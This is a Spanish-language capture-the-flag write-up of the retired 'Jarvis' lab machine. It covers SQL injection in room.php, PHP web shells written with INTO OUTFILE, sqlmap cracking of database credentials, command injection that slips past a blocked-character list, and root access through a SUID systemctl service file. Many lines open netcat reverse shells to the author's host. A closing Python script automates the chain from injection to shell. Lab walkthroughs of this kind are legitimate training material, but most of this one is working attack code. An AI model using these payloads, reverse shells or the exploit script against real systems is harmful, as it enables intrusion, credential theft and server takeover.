Jarvis Write-Up

Fecha de lanzamiento22 Jun 2019
EstadoRetirada
DificultadMedium
PlataformaLinux
IP10.10.10.143

RECONOCIMIENTO

Para el inicio de la fase de reconocimiento, vamos a realizar un ping a la máquina victima para ver que tenemos conexión con ella.

ping -c 1 10.10.10.143

Una vez confirmado que la máquina nos devuelve el ping y que tenemos conexión, vamos a utilizar la herramienta nmap para comenzar con la fase de reconocimiento.

Procederemos a escanear todo el rango de puertos de la máquina Jarvis por el protocolo TCP filtrando por aquellos que estén abiertos, aplicando una plantilla de temporizado y rendimiento agresiva e indicando que no necesitamos que se nos aplique resolución DNS para evitar demoras a la hora de nuestro escaneo. Vamos a guardar el archivo con el nombre de OpenPorts.

nmap -p- --open -T5 -n -v 10.10.10.143 -oG OpenPorts

A continuación, vamos a lanzar una serie de scripts básicos de enumeración propios de la herramienta y vamos a tratar de detectar las versiones y los servicios de los puertos que nos ha detectado como abiertos. Guardaremos el output en un fichero con el nombre de targeted para poder volver a consultarlo durante el resto de fases de la intrusión.

nmap -sCV -p22,80,64999 10.10.10.143 -oN targeted

Observamos que tenemos tres puertos TCP abiertos:

  • 22 – Servicio SSH
  • 80 – Servicio HTTP
  • 64999 – Servicio HTTP

Para el servicio SSH podríamos probar una intrusión por fuerza bruta, pero teniendo otros servicios expuestos no es lo más óptimo por el momento. Vamos a ver que nos devuelven las cabeceras de los servidores web mediante la herramienta whatweb:

Además de ver que tenemos un servidor Apache, podemos observar que en el email tenemos un posible dominio, así que lo agregaremos al archivo /etc/hosts por si se estuviera aplicando virtual hosting:

echo "10.10.10.143 logger.htb" >> /etc/hosts

Cuando accedemos a la web expuesta por el puerto 80, tenemos el portal de un hotel donde se nos presentan diferentes tipos de habitaciones con sus respectivos datos (precio, descripción…).

Cabe destacar que poniendo el dominio anteriormente mencionado en la barra de búsqueda del navegador, el endpoint al que llegamos es el mismo por lo que parece que no se está aplicando Virtual Hosting.

Pinchando en una de las habitaciones, vemos que la url aparece de la siguiente forma:

http://10.10.10.143/room.php?cod=2

Viendo esto, y sabiendo que se están mostrando datos de habitaciones, podemos llegar a la conclusión que existe una base de datos corriendo por detrás con todos estos datos a la cual ,mediante el archivo room.php y el respectivo identificador, se esta realizando una query para obtener los datos y presentarlos en la web. Si vamos variando el «cod«, vemos que se nos presentan las diferentes habitaciones. Si intentamos probar una inyección (agregar una comilla o un numero negativo) vemos que los campos nos aparecen en blanco pero no nos sale ningún error.

Vamos a probar a realizar una inyección SQL de forma manual y luego explicaremos la misma mediante la herramienta automática sqlmap.


EXPLOTACIÓN

SQLi Manual – Puerto 80 HTTP

En la URL, sustituiremos el valor para el campo «cod» por un valor negativo «-1» y a continuación vamos a intentar realizar un ordenamiento de los datos para averiguar el numero de columnas.

http://10.10.10.143/room.php?cod=-1 order by 100-- - #El numero 100 lo iremos iterando de forma descendente (podemos empezar en un numero más bajo) y veremos si la respuesta por parte del servidor cambia)

Después de un rato, vemos que la respuesta es siempre la misma y no se nos realiza en ningún momento un ordenamiento de los campos, pero esto no quiere decir que la web no sea vulnerable a SQLi.

Vamos a intentar realizar un ordenamiento de los campos a través del comando de SQL «UNION SELECT». Procederemos a concatenar en orden tantos números como campos pensemos que existen (de menor a mayor) de la siguiente forma:

http://10.10.10.143/room.php?cod=-1 union select 1,2-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5,6-- -
http://10.10.10.143/room.php?cod=-1 union select 1,2,3,4,5,6,7-- -

Al llegar al número 7, la respuesta del lado de servidor varía y se nos muestra un ordenamiento de los campos:

En cualquiera de estos campos que aparecen por pantalla, podemos pedir que se nos muestren datos internos de la base de datos ahora que hemos visto que es vulnerable a Inyecciones SQL:

Como test, vamos a usar el campo con el valor numero «4» para mediante una concatenación de los datos mostrar la versión de la base de datos, el usuario que la está corriendo y el nombre de la base de datos (0x2d representa el guion en hexadecimal):

http://10.10.10.143/room.php?cod=-1 union select 1,2,3,group_concat(version(),0x2d,user(),0x2d,database()),5,6,7-- -

Ya tenemos información acerca de un usuario (DBadmin) y tenemos el nombre de la base de datos (hotel). Ahora vamos a ver si hay más bases de datos existentes:

http://10.10.10.143/room.php?cod=-1 union select 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata-- -

Ahora vamos a entrar en profundidad dentro de la BBDD «Hotel», pero esta informaciòn de otras bases de datos podría ser relevante en caso de que aquí no encontremos nada.

A continuación vamos a mostrar el nombre de las tablas de la base de datos en la que nos encontramos:

http://10.10.10.143/room.php?cod=-1 union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema='hotel'-- -

Vemos que solo existe una tabla llamada Room (de aquí esta cogiendo la información para las diferentes habitaciones) pero es una tabla que nos puede servir de bastante poco ya que solo tiene info de las habitaciones pero no tendremos ninguna password, hash, usuario…

Como alternativa, vamos a ver si nos es posible subir un archivo de texto de prueba a una ruta que nosotros elijamos. En este caso, basandonos en que posiblemente los archivos del servidor web estén en /var/www/html/, vamos a intentar crear un archivo en esa ruta y ver si se puede cargar en la web:

http://10.10.10.143/room.php?cod=-1 union select 1,2,3,"Esto es una prueba",5,6,7 into outfile "/var/www/html/test.txt"-- -

Si ahora cargamos ese archivo en el navegador:

Así que tenemos capacidad de inclusión de archivos en el servidor web. Lo ideal sería que si subimos un archivo php, éste se interpretase y poder mandarnos una reverse shell a nuestro equipo. Para ello vamos a hacer una prueba subiendo un archivo .php que nos indique que usuario está corriendo el servidor web:

http://10.10.10.143/room.php?cod=-1 union select 1,2,"<?php system('whoami'); ?>",4,5,6,7 into outfile "/var/www/html/probando.php"-- -

Si mostramos en el navegador el archivo que hemos subido, vemos que podemos ejecutar código de forma remota en el servidor:

Ahora, en lugar del comando «whoami» vamos a mandarnos a entablar una conexión con nuestro equipo local por el puerto 443, donde estaremos a la escucha:

http://10.10.10.143/room.php?cod=-1 union select 1,2,"<?php system('nc -e /bin/bash 10.10.14.10 443'); ?>",4,5,6,7 into outfile "/var/www/html/reverse.php"-- -

http://10.10.10.143/reverse.php

nc -lvnp 443 # En nuestro equipo local

Vemos que hemos recibido la conexión y ya somos el usuario www-data en la máquina víctima.

SQLi Automático – SQLMAP

En caso de querer intentar realizar la SQLi de forma automática, procederemos a utilizar la herramienta SQLMAP. El comando quedaría de la siguiente forma:

sqlmap -u "http://10.10.10.143/room.php?cod=1" --batch

Tras acabar el flujo del programa, vemos que nos sale el siguiente mensaje «all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests

Como seguramente se esté empleando algún tipo de protección por detras (WAF), vamos a modificar un poco los parámetros para ver si tenemos una respuesta diferente:

sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --level 1 --risk 1 --batch

Parece que hemos «bypasseado» las diferentes medidas que se estaban aplicando y el programa nos detecta que el parámetro «cod» resulta inyectable:

Partiendo de aquí vamos a enumerar posibles usuarios y contraseñas dentro de cualquiera de las bases de datos:

sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --level 1 --risk 1 --batch --users --passwords

Vemos que el mismo programa nos encuentra una contraseña hasheada y nos la crackea de forma automatica. Tenemos las siguientes credenciales : DBadmin:imissyou

Como tenemos unas credenciales, vamos a hacer fuzzing de directorios web por si existiese en alguno un panel de autenticación donde introducir las credenciales que tenemos. Para ello, vamos a usar un script sencillo de nmap que nos probará un diccionario pequeño:

nmap --script http-enum -p80 10.10.10.143 -oN ../nmap/fuzzing

Si accedemos al directorio «phpmyadmin«, vemos que tenemos un panel de inicio de sesión donde poder introducir las credenciales anteriormente obtenidas y accederemos al dashboard principal donde tendremos información de todas las bases de datos existentes:

Desde aquí, si nos vamos a la pestaña de SQL vamos a poder correr cualquier Query que queramos. De nuevo crearemos un archivo .php que nos entable una conexión a nuestro equipo local, lo alojaremos en una ruta del servidor web y cuando lo consultemos tendremos una conexión entrante por el puerto que indiquemos:

SELECT "<?php system('nc -e /bin/bash 10.10.14.10 444'); ?>" into OUTFILE "/var/www/html/reversephp.php"
nc -lvnp 444 # En el equipo local

curl http://10.10.10.143/reversephp.php

ESCALADA DE PRIVILEGIOS

Una vez que tengamos la conexión entrante desde la máquina víctima (realiza de cualquiera de las dos maneras mencionadas anteriormente), tendremos una shell como el usuario «www-data» en el servidor remoto pero no se tratará de una TTY totalmente funcional (de hecho ni siquiera es una tty). Para tener una tty funcional, realizaremos una serie de comandos en cadena:

script /dev/null -c bash
^Z #Control + Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash

Una vez esto, buscaremos información acerca de grupos donde nos encontremos así como información de los usuarios que dispone la máquina:

whoami;id;grep "sh" /etc/passwd"

Vemos que hay un usuario llamado «pepper» que posiblemente sea el que tenga en su directorio la flag del usuario. Entonces necesitamos primero pivotar a este usuario y después realizar la escalada para obtener privilegios de ROOT.

Antes de usar alguna herramienta de enumeración, mediante el comando sudo -l podemos ver si hay algún comando que podamos ejecutar como otro usuario sin necesidad de introducir contraseña:

Parece que podemos correr un script personalizado escrito en Python como el usuario «Pepper«. Vamos a investigar que es lo que hace este script y ver si tenemos acceso a su código:

Parece un script que ofrece, entre otras cosas, una funcionalidad que permite mandar un ping a un host remoto. Esta funcionalidad nos debe llamar la atención ya que es posible que a nivel de código se esté usando la libreria «os» o «subprocess«. Si miramos el código vemos que se se esta realizando un ping a nivel de sistema y se está concatenando la variable «Command» que hace referencia al valor del input que nosotros como usuario aportemos. En principio parece muy fácil de aprovecharnos de esta funcionalidad y correr comandos como Pepper, pero parece que existe una serié de símbolos prohibidos que nos complicaran el procedimiento:

cat /var/www/Admin-Utilities/simpler.py | grep "forbidden" | head -n 1

forbidden = ['&', ';', '-', '`', '||', '|']

Pero parece ser que el desarrollador de este script no ha tenido en cuenta la interpretación de comandos de bash mediante el uso de $().

Probaremos entonces a mandarnos un ping pero testeando lo anteriomente mencionado (tenemos que ponernos a la escucha por la interfaz tun0 de trazas ICMP):

tcpdump -i tun0 icmp -n

Nos interpreta el comando, así que aprovechándonos también de que la máquina tiene el binario netcat, vamos a mandarnos una shell a nuestro equipo local. Para ello crearemos un script en bash con una reverse shell y lo llamaremos desde el flujo del script:

echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.14.10 443' > /tmp/conn.sh
chmod +x /tmp/conn.sh
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

#Una vez dentro del script:
Enter an IP: $(/tmp/conn.sh)

De esta manera habremos pivotado al usuario pepper. Vamos a hacer el mismo tratamiento de la TTY que hemos realizado antes con el usuario «www-data».

Pepper –> ROOT

Una vez ya como el usuario Pepper, si buscamos por archivos SUID vemos uno que nos llama la atención:

SI nos fijamos, el binario systemctl tiene permisos SUID. Esto es potencialmente peligroso ya que es el binario encargado de la gestión de los servicios y podemos correrlo como el usuario ROOT.

Los servicios están definidos por un archivo .service. Systemctl se usa para linkear este archivo a systemd y de nuevo se usa para iniciar el servicio. Lo que realiza el servicio esta definido por aquello que hayamos introducido en el archivo .service.

Si visitamos la página web GTFOBINS (muy útil durante la escalada de privilegios) nos indica que si creamos un archivo de servicio, lo linkeamos y los ejecutamos, vamos a poder obtener una reverse shell en nuestro equipo. Para ello, después de modificar el comando con nuestra IP y el comando que queremos correr, nos ponemos en escucha en local y ejecutamos en la máquina victima lo siguiente:

echo -e '[Service]\nType=oneshot\nExecStart=/bin/bash -c "nc -e /bin/bash 10.10.14.10 443"\n[Install]\nWantedBy=multi-user.target' > /dev/shm/srmeirins.service
systemctl link /dev/shm/srmeirins.service

#Nos ponemos a la escucha en el equipo local --> nc -lvnp 443

systemctl enable --now srmeirins

Ya tendremos una shell como ROOT y podremos ver ambas flags para subirlas a la plataforma y marcar como realizada la máquina.

A continuación os dejo un script en Python3 que automatiza la intrusión para obtener una shell interactiva como «www-data». También está disponible en mi github!

#!/usr/bin/python3

import requests
import pdb
import signal
import threading
import sys
import time
from pwn import *

def def_handler(sig,frame):
    print("\n\n[!] Saliendo del script\n")
    sys.exit(1)

# ^C
signal.signal(signal.SIGINT, def_handler)

# Variables globales
iplocal = "10.10.14.10"
createFile = '''http://10.10.10.143/room.php?cod=-1%20union%20select%201,2,3,%22%3C?php%20system(%27nc%20-e%20/bin/bash%20''' + iplocal  +  '''%20443%27);%20?%3E%22,5,6,7%20into%20outfile%20%22/var/www/html/pwned.php%22--%20-'''
execFile = "http://10.10.10.143/pwned.php"
lport = 443

def sqli():

    r = requests.get(createFile)
    r = requests.get(execFile)
   
    shell.interactive()
    
if __name__ == '__main__':

    try:
        threading.Thread(target=sqli, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(lport, timeout=20).wait_for_connection()
    shell.interactive()
Jorge Escrito por:

Sé el primero en comentar

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *